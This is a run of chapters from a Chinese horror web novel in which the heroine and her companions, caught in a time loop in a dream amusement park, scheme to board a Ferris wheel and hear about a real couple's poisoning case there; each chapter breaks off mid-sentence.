“……”吴樊祐沉默了一会儿,低声说道,“每个人总有自己的必经之路,有时表面看起来的坏事,未必真是坏事,说不定是上天的考验呢?学姐只需要走好自己的路,不必顾虑太多。” “可我现在想走的路,就是把你们安全送出去。”俞小澄语气异常坚定。 “……”这一次,吴樊祐彻底沉默了。 趴在吴樊祐的背上,俞小澄明显感觉他有心事,身子有些僵硬,步伐也很沉。从再相遇起,吴樊祐把所有心事都藏在心里,不肯透露半分。 他究竟为什么会来到穷途旅店? 他是否跟白羽楠一样,跟她自己一样,生活中不尽如人意? 沉默间,二人已经来到山谷漂流的场地,或许是顾虑俞小澄的伤势,吴樊祐挑选了比较温和的项目,却也刚好挑中了今日推荐项目。 俞小澄问:“你看过屏幕提示了?” 吴樊祐说:“还没机会,怎么了?” 俞小澄将信将疑:“那你怎么会刚好选中今天的安全项目?” 吴樊祐故作深沉:“嘿嘿,我说我是天选之子,现在相信了吧?” 俞小澄无奈地摇了摇头:“信了,信了,那有劳天选之子仔细检查船上有没有数字8,我可不想跟你一起沉船。” “遵命!保证完成任务!”吴樊祐行了个举手礼,打趣道。 在吴樊祐将船里里外外检查了两遍,确认上面一个数字都没有后,二人这才安心地坐上了船。 这个项目是坐着橡皮船模拟在山谷之中漂流,水流时而湍急,时而平缓,偶尔一个高落差的激流就已经是最刺激的部分了,整体很温和,所以游玩的人相对较少。 上船时,游客就只有他们两个,全程太过安静,俞小澄努力寻找着话题:“你一直没有回家,不会有人担心吗?” “不会,平时工作挺忙,几乎每天都睡在公司。”吴樊祐答得随意。 “呃……那你这么久没去公司,不会被开除吧……” “应该不会吧,哈哈哈……”吴樊祐点到即止,没有细说下去,话锋一转问,“学姐对我的事也感兴趣么?等离开这里后,不妨多跟我联系。” “哦……不方便打扰吧……”俞小澄有些想推辞。 吴樊祐盯着她不知在想什么,脸上带着意味深长的笑,试探地问道:“学姐的结婚对象……” “啊!你毕业后还在久昌市吗?我回老家怀禹了,离得挺远的,哈哈哈……想联系好像也不方便。”俞小澄赶紧打断他的话题,想也没想胡说八道了一通。 吴樊祐看着她的眼神却有一丝说不清道不明的包容,没有指出她话中的毫无逻辑,也没有拆穿她的敷衍了事,反而声音柔和地说了 75. 梦境(三) 《我好像住进了黑店》全本免费阅读 很快,其他人拖着疲惫的步伐缓缓向她聚拢,每个人的脸上都写着厌倦。 禾苒叹气道:“时间太快了,完全无法休息,还要坚持4小时,我还是第一次到游乐园玩得这么累……” 其他人没有说话,但脸上的表情表示他们也一样。 吴樊祐又抓住时机泼了一盆冷水:“好像不止4小时,上次情况紧急没来得及告诉你们,我们没有跳到第二天,而是时间循环了2小时。” “什么?!” 几乎所有人都爆发出呐喊声,宣泄着自己对梦境的不满,如果说只是高强度连轴转8小时,大家咬咬牙也就挺过去了,可若是循环,那尽头在哪里呢? “这……这……太离谱了吧?!我们不会永远被困在梦境里吧?”曾勇脑瓜子都要挠破了。 张尧竭力保持着理智:“旅店的规则应该是绝对的,箭竹梦境的时限只有4天,不可能一直持续下去。” 禾苒表示认同:“嗯,时限结束,梦境会强制结束,可这循环的时间又该如何计算?” “就以小时计算呗。”吴樊祐淡定地接话,“一天24小时,四天96小时,按照2小时一个循环算,我们大概得经历48个循环。” 听了吴樊祐的话,白羽楠浑身脱力,一屁股瘫坐到地上,面色苍白:“这才过了2个循环……还有46个循环,这鬼乐园我是一分钟都呆不下去了……” 张尧捶打着略微酸痛的大腿,表情痛苦地说:“没有首轮淘汰的压力还好,现在每2小时就得赛跑一次,身体吃不消啊……” 对于身体健壮的曾勇来说,也是极具挑战的一件事,他面露难色,绞尽脑汁,最后问了句:“如果留在大门外会怎样?” “会死。”俞小澄的回答简洁明了,语气笃定。 这是她让招财进宝帮忙确认的事,本来抱着一丝侥幸,或许可以通过不进入园区来逃课,结果不出所料,恶灵没有给他们留下偷懒的机会。 “其实我上个循环有个发现,借助某个特殊角色可以躲过首轮淘汰,虽然有一定风险,但大概可以节省时间来寻找线索。” 俞小澄费力地从地上爬起来,受伤的脚稍稍使力就会带来一股钻心的疼痛,让她忍不住闷哼一声。 “你怎么受伤了?”白羽楠注意到她的脚伤,诧异地起身靠近查看。 俞小澄轻轻摇晃了一下脚背,说:“这个发现付出了一点小小的代价,没关系,没时间细聊了,你们先去看看VIP入口能不能走,我得在这儿等一个人,等我测试完有机会再跟你们解释。” “学姐……我留下陪你吧,你脚上有伤……”吴樊祐说。 俞小澄低声打断道:“小姝能作用的范围有限,你想跟我的脚一样被刺穿么?去吧,别担心我。” 俞小澄挥了挥手,催促着吴樊祐离开,看着俞小澄坚定的目光,吴樊祐没有继续纠缠,带着众人往VIP通道走去。 禾苒心里不知有何盘算,一路上频频回首,也许是太过好奇,也许是有别的顾虑,走远了才终于分清了轻重缓急。 俞小澄站在原处四处张望,寻找着唐姝的小身影,然后在差不多的时间,一只小手抓住了她的手指。 她低头望去,只见唐姝露出灿烂的笑脸,仰着头对她说:“姐姐,还好又见到你了!” 俞小澄俯下身,温柔地问道:“小姝,上一次你一个人打卡了游玩项目吗?” 小姝摇头道:“没有,里面的东西都坐腻了,一个人也不好玩,所以我去餐厅吃薯条汉堡了,嘻嘻。” “嗯?你不打卡项目也能出入园区?”俞小澄感觉抓住了一点不一样的东西,也许能顺藤摸瓜发现全新的线索。 小姝奶声奶气地回答:“对呀,但我一个人的话,会被门口的工作人员拦住,要跟着别人才能进去。” 在俞小澄眼中,唐姝简直就是必定会刷新的保命道具,梦境规则对她并没有约束。只要带着这枚保命符,直接放弃首轮淘汰和打卡任务,就算下一次被拦在园外,似乎也可以存活。 不过问题是,那样就再也无法入园了。 俞小澄看了看园外广场,除了游客,还有不少小摊贩,餐馆、酒店、商场等一应俱全,如果独自一人的话,完全可以带着唐姝在园外逃课,等上96小时便可躺赢了。 可惜,他们有六人,这个法子行不通。 一瞬间,她的脑海中出现了禾苒的脸,心中莫名一阵恶寒。只要抛弃同伴,自己便无需受苦,如果禾苒得知这条捷径的存在,她会不会…… 俞小澄不敢想下去,心中隐隐担忧起来,她终究还是无法完全信任禾苒这个人。 甩了甩头,试图将烦恼暂且抛开,她冷静下来,继续问唐姝:“小姝啊,你有遇见过跟你一样的人吗?” 唐姝眨着圆圆的眼睛,一脸天真:“跟我一样?那是什么样的呀?” “就是像你一样,知道时间在重复,从来没遇到危险的人呀。”俞小澄耐心回答。 “唔嗯……”唐姝手指戳着脸颊,歪着头想了许久,最终犹豫着说,“好像是没有……可是我也不敢肯定啊……” 俞小澄感觉唐姝知道什么,赶紧追问:“为什么呢?有什么奇怪的地方吗?” 唐姝冲俞小澄招招手,示意她靠近些,然后双手拢在嘴边,神神秘秘地说道:“整个乐园里,只有一个地方我没去过,那里的工作人员不许我排队……找任何人带我过去,都会被拦下来,好奇怪哦。” “什么项目啊?” “摩天轮。” 一切听上去相当不合理,摩天轮这种温和项目,为何不让看似有特权的特殊角色乘坐呢? “而且,那摩天轮每回就运行一次,只有首轮抢到座位的人才能玩,一直到时间结束。”唐姝嘟着嘴,双手叉腰,气鼓鼓地说着。 俞小澄目瞪口呆:“一直运行到时间结束?那乘坐摩天轮的游客下一次不会被拦在门外吗?” 唐姝堵气道:“不知道,那里的人都不带我玩,哼,那我也不理他们,可每次都看到有人在摩天轮出现,也许不会被拦吧。” 俞小澄感觉有什么东西渐渐浮出水面,或许一切解密的关键就藏在摩天轮上,顿时有了调查方向。 俞小澄左顾右盼,才发现吴樊祐等人一直没有回到普通通道排队,想来这次又幸运的拿到了VIP客人身份。 此时招财进宝从园内飞了出来,一 76. 梦境(三) 《我好像住进了黑店》全本免费阅读 无穷无尽的循环中仿佛出现一条摆脱千篇一律折磨的路,让俞小澄欣喜若狂,同时也让她心生恐惧,万一她猜错了,原本平安无事的人将万劫不复。 “冷静,冷静,不能冒然尝试,还需要一个轮回的结果确认。”她自言自语道。 她远远地计算着摩天轮通道里排队的和已经入场的人数,推测着此时叫其他人来这里能不能顺利搭乘上。 距离9点入园还有一段时间,可她不敢喊其他人来冒险,一是不确定他们伪装成情侣能不能通过验证,二是不确定登上摩天轮一定安全,三是担心时间来不及害了别人。 工作人员不愿透露的礼品又是什么呢? 正在思考时,余光瞥见一对小情侣正往摩天轮走来,俞小澄灵机一动,拉着唐姝迎了上去,装出一副为难的样子对小情侣说道: “请问摩天轮的礼品有啥呀?我家小孩一直吵着要坐摩天轮拿礼品,可今天是情侣专场,工作人员不让进,如果知道礼品是啥,我还能买点替代品哄哄她。” 那对小情侣相视一笑,没有多想,答道:“其实就是果盘、小零食,园区里也有卖,没啥好稀罕,但除此以外还附赠两张VIP门票,大多数人都冲这来的。” 俞小澄大惊,心中某些疑惑得到解答,这条路对玩家而言极具吸引力,如果循环不会改变摩天轮的礼品规则,那只要能坐上摩天轮,他们可以进入一种坐等时间结束的新循环方式。 可惜,这一次循环来不及了,等招财进宝搜集到足够的消息,他们可以在下个循环试上一试。 心中有了计划后,压力便也减轻,在首轮淘汰开启前,俞小澄带着唐姝吃吃喝喝,难得悠闲了片刻。 然后借着唐姝这个免死金牌躲过了首轮淘汰,这次她留意没有乱动,果然没再受伤。 首轮淘汰结束后,她一如既往选了5个轻松点的项目完成打卡,整个过程中一直被唐姝缠着要她讲故事。 这是唐姝呆在这个2小时循环的世界里唯一的乐趣,只有听着不同人的不同故事,才能让她对这个世界感到一丝有趣。 可是,对于俞小澄来说,她的人生没什么值得拿出来说的故事。 出生在怀禹这样的小乡镇里,贫困的家庭,父亲早逝,母亲砸锅卖铁将她拉扯大,对她寄予厚望。 可这样的厚望会成为巨大的压力,俞小澄没有出人头地、光耀门楣的远大理想,也不是天赋异禀的学霸,她拼尽全力才考上省城大学,不为母亲长脸,只为逃离这个小地方,远离来自母亲的压力。 可是走出小乡镇,她才知道,或许井外的大天地并不适合自己。 令她自卑的家境,趋利附势的人心,来自不同圈子的排挤,学业的压力……对于本就不善交际的俞小澄来说,生活变成了不断的忍气吞声和折磨。 母亲对她的期望从未停止,可俞小澄知道自己一辈子都无法成为母亲希望她成为的人。 只有偶尔沉浸于自己的兴趣爱好中,才让她有了片刻喘息,也渐渐有了暗恋的人,可终究需要面对现实。 学业一败涂地,表白被迫中止,苦苦求职留在大城市,领着微薄的薪水,做着毫无技术含量的文职,因社恐和自卑成了同事的笑柄。 事业一事无成,最终失业,浑浑噩噩地在出租房内蹲了一年,然后得知母亲去世的消息。 那一刻,俞小澄觉得好像什么都没有了。 回首来时路,似乎没有任何故事值得一提,寥寥几句就说完了自己的二十六年人生,听得唐姝频频打呵欠。 “呵呵,对不起,让你失望了,我没什么有趣的故事。”俞小澄红着脸略感抱歉。 唐姝一脸同情地抱住俞小澄胳膊,稚气安慰:“古人说物极必反,姐姐过去没什么值得开心的事,今后一定全都是开心的事。” 俞小澄哭笑不得:“开不开心不知道,反是真的反了,三天经历的事比一辈子都多……” “那不是好事吗?我也想多点有趣的经历,而不是每天看着一样的人,做着一样的事。”唐姝有点小失落。 看着眼前这个特殊角色,俞小澄不禁有些好奇,她在梦境中的存在意义是什么呢?为何其他NPC都没有循环的记忆,唯独一个小女孩与众不同呢? 唐姝的出现,让她联想到了林主策,那个关乎到游戏结局的特殊角色,唐姝于梦境而言,会不会也有特别的价值呢? 如此猜测着,俞小澄话锋一转,道:“同我说说你吧,我对你的故事也很感兴趣。” “真的吗?”唐姝心思单纯,一听有人想要听她的故事,眼睛都在放光。 俞小澄本以为能够在唐姝的故事中找到蛛丝马迹,谁知唐姝的故事跟她的相比,没好到哪儿去。 “我叫唐姝,今年七岁半,图安桂小二年级,家里有爸爸,有妈妈。我每天都过得很开心,学校还有许多朋友,我每次考试都能拿100分!” “呃……没了?” “昂!” 这NPC的身份背景设定也忒简单了些,根本听不出有什么特别之处,可仔细一想,又觉得有些奇怪——有这样的家庭设定,为何是一个人来到游乐园呢? 俞小澄问:“你爸爸妈妈怎么会让你一个人出来玩呢?没有人来陪你么?” 唐姝苦苦思考,最终摇头道:“我不记得了,醒来就一个人,奇怪,是谁带我来这里玩的呢?” 看她那副被强行删除记忆的模样,俞小澄也无法再深究下去,至少有一点她可以确定,唐姝一定不是恶灵,谁家的恶灵能帮玩家逃课呀? 又在时间紧凑的打卡中结束了一轮循环,随着倒计时的提示音,俞小澄在第四轮循环中醒来。 其他人神情倦怠地往俞小澄所在地汇聚,其中当属禾苒最为急切,一见面就直奔主题:“怎么样?有什么发现吗?” 俞小澄简单明了地回答:“有,摩天轮,那里每次循环只运行一轮,一直持续到倒计时结束。” 曾勇表示不解,插话道:“那去坐摩天轮的人不是送死嘛!” “通常情况下理应如此,可送死有个前提条件,即无法完成五个项目打卡,因惩罚无法入园。”俞小澄解释,“刚从游客口中获悉,搭乘摩天轮可以获赠VIP门票。” 听到这样的消息,禾苒、曾勇和白羽楠无不流露出欣喜之情,仿佛终于找到摆脱无休止噩梦的通道 77. 梦境(三) 《我好像住进了黑店》全本免费阅读 俞小澄和吴樊祐随后带着唐姝去VIP检票口验证后,也确定了普通游客的身份,无奈回到普通排队通道,不得不再经历一轮打卡折磨。 站在相邻队列中,俞小澄苦笑着安抚众人失落的情绪:“没关系,再等一轮。” “说得挺容易……”禾苒小声嘀咕,显然对现状十分不满,俞小澄的安慰有种适得其反的感觉,让禾苒压抑的情绪不禁爆发出来。 “不是只有你一个人累,更不是只有你一个人冒险!”白羽楠看不过去,替俞小澄出头道。 被白羽楠回怼后,禾苒更加情绪化,阴阳怪气说:“哼,是么?有人不是说借助某个特殊角色可以躲过首轮淘汰吗?莫非只想着有好事独占,不顾大伙死活?” “你说谁喃!”白羽楠怒吼道。 俞小澄急忙用手肘撞了撞白羽楠,摇头制止她再继续争吵,可对于是否将唐姝的事告知禾苒,她心里很是纠结。 再三犹豫后,俞小澄才指了指吴樊祐手里牵着的小女孩,说:“唐姝,特殊角色,抱着她,别乱动,可以躲过首轮淘汰。” 禾苒眼睛里闪着惊喜的光,而后脑筋一转,愁着一张脸,摸着膝盖说道:“在这样拼命奔跑下,谁没个磕磕碰碰啊,利用首轮淘汰的间隙寻找线索,好像也不是只能指定一个人。” 白羽楠满脸不爽:“没看小澄姐脚都包成粽子了么,能是磕磕碰碰的程度?你不如明说自己想休息。” 禾苒冷眼扫过白羽楠的脸,笑道:“下回看到我腿包成粽子,希望你别双标。” “你这话什么意思?在内涵别人的伤是装的?我们可没你心眼多!”白羽楠捏紧了拳头,如果不是张尧拉着她,估计她已经冲动地跟禾苒扭打到一起。 俞小澄有种成了罪人的感觉,心慌地出言调解:“在坐上摩天轮前,大家轮流打听消息吧。” 白羽楠:“小澄姐,你干嘛……” 禾苒:“你小澄姐都发话了,你还有啥不满?你要不同意,大可把机会让给别人。” “让谁也不会让给你!” 白羽楠气闷,俞小澄朝她摇了摇头,而后叮嘱道:“小姝虽能阻挡首轮淘汰,但打卡5个项目的惩罚,她无能为力,所以首轮淘汰结束,还是要及时完成打卡。毕竟小姝只有一个,能护入园的人,就护不了园外的人。” 俞小澄避重就轻的解释,其实是不希望禾苒发现园外这个单人通关捷径。 可她越是掩饰,禾苒越是疑心。 禾苒看了看大门外的广场,眼珠来回晃动,反问:“唐姝的能力,在园外无效?” 这一问,把俞小澄惊得浑身一颤,想要点头,却又心虚得浑身僵硬,半天没有说出一句话。 一旁的吴樊祐一把将唐姝抱起,然后友善地对唐姝说道:“小鬼,你跟这个凶悍的姐姐玩会儿好不好,她有好多有趣的故事,就是有些吓人。” 唐姝非但不怕,反而咯咯笑了起来,看向禾苒的眼神中闪着兴奋的光,满脸写着“感兴趣,想听”。 说罢,吴樊祐越过通道栅栏将唐姝递给了禾苒,然后带着意味不明的笑,对禾苒说道: “有效无效,你不如亲自试试,反正别人说什么,你总会怀疑。不过,我想提醒你一句,别玩脱了,到时候你入不了园,曾勇也上不了摩天轮,你俩的死活我反正不关心。” 吴樊祐的话,就像是某种警告,让禾苒表情微微一怔。 曾勇显然脑子没有禾苒那么灵光,还若无其事地对禾苒谦让道:“没关系,我不累,我那轮也可以让给你,你可以多休息休息。” 可他这讨好的一句无心话,反倒会成为禾苒良心的谴责,只见禾苒低头牵着唐姝的手,眉头紧锁,不发一言。 吴樊祐拱完火,便不理会其他人,转而拍了拍自己肩膀,嬉皮笑脸地对俞小澄说道:“早不想背那小鬼了,要背我宁愿背学姐啊。” 俞小澄一边担忧着禾苒会背叛,一边又羞于麻烦吴樊祐,心情复杂地拒绝着吴樊祐的好意,活动着脚来证明自己一个人也行,可伤口拉扯带来的疼痛又让她直皱眉。 吴樊祐二话不说,拉住俞小澄的手,直接让人往背上背,转向众人挥手道别,然后脸色骤然突变,从神情自若变为惊慌失措,一边挤过人群,一边嘴里嚷着:“借过,借过,实在不好意思,我老婆脚受伤了,急着入园找医生!” “我去,这样也行?不会被打死?”张尧小声自言自语。 只见吴樊祐顶着整列游客想刀人又狠不下心的复杂眼神,脸不红心不跳地从队伍中间移到了队伍最前端,他甚至还不死心,试图说服检票员放他提前入园。 俞小澄全程埋头在他肩上,羞愧得两耳通红,恨不得堵住吴樊祐的嘴。 然而更让她意想不到的事发生了,那检票员不知被吴樊祐灌了什么迷魂汤,竟然真放他提前入了园,还想替他引路,却被吴樊祐一口回绝了。 直到走出入口处的可视范围,吴樊祐才放慢了步伐,就像什么事都没有发生,问道:“学姐这次想玩什么项目?” “他们怎么会同意放……”俞小澄反复回首,有些难以置信。 吴樊祐轻描淡写道:“顾客就是上帝嘛。” 俞小澄无言以对。 托吴樊祐厚脸皮的福,这次循环并没有预想的辛苦,然而事态的发展并没有那么顺利,接下来的四轮,他们的身份开始走向了不可控的凌乱。 有时候女生被全部分到VIP通道,有时候男女混合对半砍,有时候又以奇数形式任意打乱…… 这样的身份混乱一直持续了四轮,虽然借着吴樊祐的鬼主意,普通通道的人总能提早混入园区,可没完没了的打卡还是让众人苦不堪言,几乎游走在濒临奔溃的边缘。 令俞小澄没想到的是禾苒没有选择逃跑,十分合作地与人交换着片刻休息的机会。 “禾苒难道没有发现园外逃课的办法么?”当无人注意时,俞小澄低声向吴樊祐寻求解疑。 吴樊祐只是笑了笑:“你也觉得她不傻,她怎么可能为了一时逃避,而放弃离开旅店的机会?因小失大,不值得罢了。” 俞小澄如醍醐灌顶,才知道自己想多了,有时候真正能束缚住人心的,不是良知,而是自身利益。 终于,在第九次循环时,他们迎来了一次来之不易的时机,所有人重新在紫藤花下集合,确认了自己VIP客人的身份。 就在他们苦苦挣扎于打卡受难之时,招财进宝一直监视着摩天轮的动静,反复确认后,几乎已经可以确定考题翻来覆去不超过十题。 他们针对这些考题,反复对了无数遍答案,就等着一个机会,将预演了无数次的节目呈现给观众老爷。 而这个机会,终于摆在了他们面前。 俞小澄依然带着唐姝进了园区,不过这一次没法带唐姝一起玩,她将小女孩安排在餐厅,约定下次还会再 78. 梦境(三) 《我好像住进了黑店》全本免费阅读 验证人员一副胜券在握的模样,偷偷与同事眼神交流着,看他们的样子,似乎只要俞小澄和吴樊祐答错一题,他们就可以借题发挥,将六人一起赶出去。 吴樊祐的“诡计多端”偏偏在这时失了效,竟然面露退缩之意,一副实在没有办法的样子,悄声说:“现在离开还来得及,如果被判定为欺骗,下次会被禁止入园。” 俞小澄感觉怪怪的,此时的吴樊祐完全没了平日的天不怕地不怕,实在不像他自己。 “我们现在退缩,岂不承认我们心中有鬼?一样会牵连小白他们。”如今已是骑虎难下,俞小澄同样焦虑。 正在这时,她望见了摩天轮旁翘首以盼的招财进宝,顿时心生一计,脑海中呼唤着招财进宝的名字,然后毅然举手打断了准备提问的工作人员。 她说:“只用嘴说的话,万一出现嘴快嘴慢的情况,你们不认账怎么办?” 工作人员信誓旦旦:“客人可以放心,只要差距不大,我们绝对公平公正。” 俞小澄继续攻击:“我可不敢全信,既然要公平公正,那你们拿纸笔来,我们背对背,写下问题答案,看看是否一致,这样谁都没理由质疑了吧?” “这……”工作人员被俞小澄的气势唬住,不禁开始怀疑自己的判断。 “不会真是你多疑,怀疑错人了吧……” “这么自信,好像真的十分了解彼此啊。” “说不定是虚张声势呢?就让他们写,我还不信了。” 几个工作人员围在一起交头接耳,最终似乎有了决断,其中一人从别处找来两个小白板和白板笔,恭敬地递到了俞小澄二人手里。 “学姐,你这么信任我?但我恐怕没这么大能耐,能猜出你写了什么字……”吴樊祐凑到她耳边,苦笑着说道。 俞小澄用笔敲了敲他脑门:“傻子,自然不是靠你我,你尽管写答案,我铁定与你一字不差。” 因为担心二人背靠背会有什么不为人知的约定暗号,于是工作人员让两人相隔七八米,中间还找了四个人形成一堵人墙,一边两双眼睛,死死盯着两人一举一动。 验证人员站在中间,开始提问:“第一题,请问你们第一次见面的契机是什么?” 吴樊祐虽不清楚俞小澄到底有何打算,但还是顺从地写下了自己的答案。然而他却不知道,此时肩上一左一右坐着两个小鬼,一边看着他写字,一边向俞小澄脑海中传递信息。 招财一字一字念道:“社、团、闹、鬼、事、件!” 他的声音清晰地传入俞小澄脑中,俞小澄毫不犹豫写下了答案。 然后二人一同展示白板上的答案,一字不差。 “难不成,他们还真是一个社团的?” “可恶,肯定是运气,刚好撞上他们商量好的题目了。” 验证人员依然不死心,摸着下巴思考着更刁钻的问题,然后尖声说道:“第二题,请问两位在一起后,最难忘的一件事是什么?” 吴樊祐狠狠瞪了验证人员一眼,紧握住白板笔的手上,指节有些泛白,他冷笑着写下一句话。 招财看着白板上的文字,感觉一阵恶寒,念道:“我们一起杀掉了一个喜欢刁难人的坏东西。” 俞小澄听着脑海中的话,有些忍俊不禁,速速写完后,与吴樊祐一同展示给验证人员。 看着两块白板上一模一样的字句,验证人员脸色铁青,再细细琢磨答案中透露的信息,脸色又从青转白,看向二人的目光都不禁客气拘谨了许多。 验证人员清了清嗓,赶紧进入下一题:“第三题,请问男方送的礼物中,女方最满意的一个是什么?” 吴樊祐想也没想迅速落笔,招财继续念道:“可以杀人的隐藏道具。” 俞小澄听到答案,明白吴樊祐这是跟验证人员杠上了,有些无奈又觉得好笑。 将答案展示给验证人员后,果然验证人员是一点都笑不出来了,瞥向俞小澄二人的眼神中藏着一丝慌乱,如果不是在梦境里,俞小澄估计这人已经偷偷叫人报警了。 验证人员埋着头,尽力不与二人有过多的视线接触,已经顾不上刁钻不刁钻,硬着头皮继续提问:“第四题,请问女方的梦想是什么?” 当验证人员问出这一题时,俞小澄简直想问候验证人员全家,按照吴樊祐如今答题的思路,她大概能猜到吴樊祐会如何作答,她这个变态杀人犯的人设感觉要就此立住了。 她很想告诫吴樊祐适可而止,可惜现在吴樊祐根本听不到她说什么,也看不到她的眼神。 这种无奈感一直持续到招财念出了吴樊祐的回答——成为普通人。 俞小澄很是意外,还以为吴樊祐又会写出有关杀人的惊世骇俗的东西,没想到还挺正常。 普通人吗?竟和她的想法有些契合。 不被过分关注,不被故意无视,没有太大敌意,也没有过高期许,一切都仅到普通程度为止。 俞小澄写下这五个字,心中莫名感慨,不知吴樊祐是真的了解她,还是仅仅巧合而已。 可验证人员看到这个答案,想的显然要比俞小澄更多些,那张原本就被吓得没了血色的脸,此时更没法做到镇定。 “呵呵,普通人……普通挺好的,做人不要太极端的好。”验证人员嘴角抽搐着说道。 很好,俞小澄身上这变态杀人狂的标签算是贴牢撕不掉了。 “那么,最后一个问题。”验证人员慌忙说道,“请问,如果对方劈腿,你是否会给对方改过的机会?” 这个问题实在有够歹毒,俞小澄一时有些分不清摩天轮设置这个关卡的意义,究竟是优待情侣,还是针对情侣,这问题犹如在挑事,唯恐情侣之间不会被答案影响,心里膈应。 不过,这种花招对俞小澄无用,谁让他们又不是真正的情侣,不管吴樊祐答什么,她照抄答案就成,根本不带一丝犹豫。 话是这么说,她不犹豫,可对面的吴樊祐显然产生了犹豫,正对着白板皱眉沉思。 验证人员仿佛找到了反击的机会,乐呵呵地煽风点火道:“这道题很难吗?呵呵,别想太复杂,按照心中所想来写就行,难道你们对对方没有信心?” 沉默片刻后,吴樊祐终于在白板上写下了 79. 梦境(三) 《我好像住进了黑店》全本免费阅读 “呸呸呸,别说不吉利的事。”张尧打了个寒颤。 白羽楠笑道:“怕什么,人家殉情的是情侣,我们又不是真的情侣。” 张尧疑神疑鬼地巡视一周,轻声说:“你们不觉得怪怪的吗?现实中这个乐园是真实存在的,而现在只接待情侣的摩天轮,在现实中又刚好有情侣殉情……” 白羽楠耸耸肩说:“也许就是想营造都市传说的恐怖氛围,所以参考了真实存在的地点与事件。” 俞小澄打断道:“所以,那个殉情案子究竟是什么情况?” 白羽楠见有人感兴趣,调整了坐姿,绘声绘色地讲起了故事。 事件发生在图安市的万里梦幻乐园,这是图安市最大的网红游乐园,以年轻群体为受众,不仅是亲子游热门地点,更是约会圣地。 当事人魏某某和唐某都是图安医科大学在读学生,女方魏某某大三,男方唐某研一,交往已两年。 8月13日当天,二人一同来到万里梦幻乐园,并在下午闭园前,搭乘了摩天轮,可等二人所在的座舱转完一圈返回平台时,工作人员发现座舱内的二人已经服毒殉情。 工作人员及时报警送医,然而,唐某抢救无效死亡,魏某某虽勉强保住性命,却因神经毒素入脑陷入昏迷。 双方家长各执一词,都认定是对方故意杀人,而唯一知晓真相的人也成了植物人,此事无从判定。 警方在调查过程中发现,当日园区的监控视频显示,二人结伴前来游乐园,并在乘坐摩天轮时没有异常表现,座舱内更无打斗痕迹,一切似乎都指向殉情。 然而视频中存在一个疑点,最终被警方注意到,与魏某某和唐某一同入园的还有一个七八岁的女孩,经调查发现,此人是唐某的侄女。 据说,摩天轮当日有针对年轻情侣的周年庆活动——默契答题赢大奖,终极奖品便是万里梦幻乐园的VIP门票两张。 而魏某某与唐某为了参加活动,给侄女买了冰淇淋,然后暂交工作人员照顾,所以侄女最终没有和二人一起搭乘摩天轮。 事发后,工作人员联系了女孩的家长,最后女孩被接回了家去。 警方由此推断,二人当时并无殉情打算,否则没道理带侄女一起去游乐园,明知自己是来赴死,又怎会为了奖品参加园区活动呢? 后来,有工作人员提供了线索,据说二人在参加默契考验时闹了点不愉快,似乎因为没有赢得奖品情绪有些低。 警方根据这条线索,深入挖掘下去,竟查出男方劈腿的事实,于是女方报复加害的嫌疑逐渐上升。可奇怪的是,神经毒素的来源出自男方,是他从实验室偷拿出来的。 案情走向扑朔迷离,因无其他证据佐证,最终被定性为情感纠纷引发的不理智行为。 殉情案一时在网上传播,引发热议,不少人对真相有自己的看法,在网上吵得不可开交,有人恶评男方人品,有人怒喷女方歹毒,也有人吃瓜,还有人拱火,闹得沸沸扬扬。 因此,白羽楠对此事印象尤为深刻。 “我去,这么刺激,这梦境不会也参考了这个真实案件,安排了NPC在摩天轮上殉情吧?”张尧透过玻璃观察着前后两个座舱中的动静。 联想起之前唐姝吓人的话,俞小澄面色变得有些苍白,心事重重地环顾四周:“说不定真会发生什么,小姝说她看见过座舱变红,会是什么呢?” 吴樊祐不知何时睁开了眼,一只手托着下巴,神情专注地听着他们的对话,然后说起了风凉话:“如果真安排了殉情,我们前排吃瓜不好么?” 白羽楠骂了声:“死变态。” 张尧补了句:“当心安排你殉情!” 这样的攻击,吴樊祐根本不放在眼里,冷笑两声又闭上了眼睛。 忽然招财带着进宝穿过玻璃来到俞小澄面前,一脸期待地问道:“姐姐,你已经想好应对的办法了吗?” “哈?应对什么?”俞小澄一头雾水。 “嗯?啊?!姐姐不是说知道了吗?”招财张大了嘴。 “我什么时候说知道了?我知道什么了?” “我说摩天轮不简单的时候呀!” 俞小澄仔细回想,好像是有这么回事,笑道:“哦哦,那件事啊,我们刚才不是应对得挺完美嘛!你们调查摩天轮的时候,我跟小姝也到了摩天轮,从工作人员口中知道了情侣考验的事。” “然后呢?”招财眨着眼。 “然后……不就跟你确认了考题,然后成功混了进来么?”俞小澄不解。 “啊?不对啊,入口的情侣验证根本不值一提,登上摩天轮后才是刚刚开始,等到地面出现尖刺,摩天轮正式开启运行,每个座舱都将成为修罗场。” 招财动作夸张地解释。 进宝用力揪着招财的脸颊,斥责道:“都怪你,这点消息都传递不好,姐姐这下有麻烦了!” 招财求饶:“姐姐自己说知道了,这怎么也能怪到我头上啊……唉哟,轻点轻点,我错了行了吧。” 俞小澄伸手将二人分开,此时她哪有闲心听二人吵闹,急着要招财将话说清楚些。 可还未来得及细说,摩天轮外遍地尖刺突起,还未入场的游客瞬间沦为肉串,摩天轮开始以龟速正式开启运转。 忽然间,座舱内响起了欢快的音乐,一个俏皮的系统声音从头顶传来:“欢迎各位来到我的乐园,接下来请各位跟我玩个游戏,证明彼此真心相爱。” “谁啊你?凭什么要我们玩游戏?”曾勇第一个蹦了起来,盯着头顶,仔细探索着声音来自何处。 “嘻嘻,拒绝游戏就是违反规则,可是会死的哦!”头顶的声音一阵讪笑,“好了,现在告诉各位游戏规则,规则很简单,只要在座舱抵达顶点前,做出正确的选择。” “什么选择?”曾勇声音弱了些许,环视一圈,似乎整个座舱里只有自己一人乱了阵脚,顿时收敛了部分情绪。 “我为你们精心挑选的游戏是「为心爱的人献出鲜血」!” 头顶的声音慷慨激昂地宣布着游戏名字,语气中满是异常的兴奋,让人有种遇到精神变态的感觉。 话音刚落,座舱的地板传来震动,众人纷纷爬上了座椅,谨慎地注视着舱内变化。 两排座椅之间,一个一米来高的圆筒状机器人从地板下缓缓升了起来。 机器人正面是一个平整的切面,上面部分开着一个手掌大小的洞,里面黑漆漆的,什么也看不清;下面部分则是一个电子显示屏,上面正显示着两行字: 【当前重量:0克】 【目标重量:1000克】 “时间 80. 梦境(三) 《我好像住进了黑店》全本免费阅读 这一席话太具攻击性,甚至无差别地攻击了在座的所有人,四双眼睛齐齐瞪了过去,却又无一例外对他的怼人性子有了一定免疫力。 白羽楠用手肘戳了戳俞小澄,咬着牙低声说:“真够讨人嫌,你也不管管。” 俞小澄回了她一个眼神:“我哪儿管得住他……” 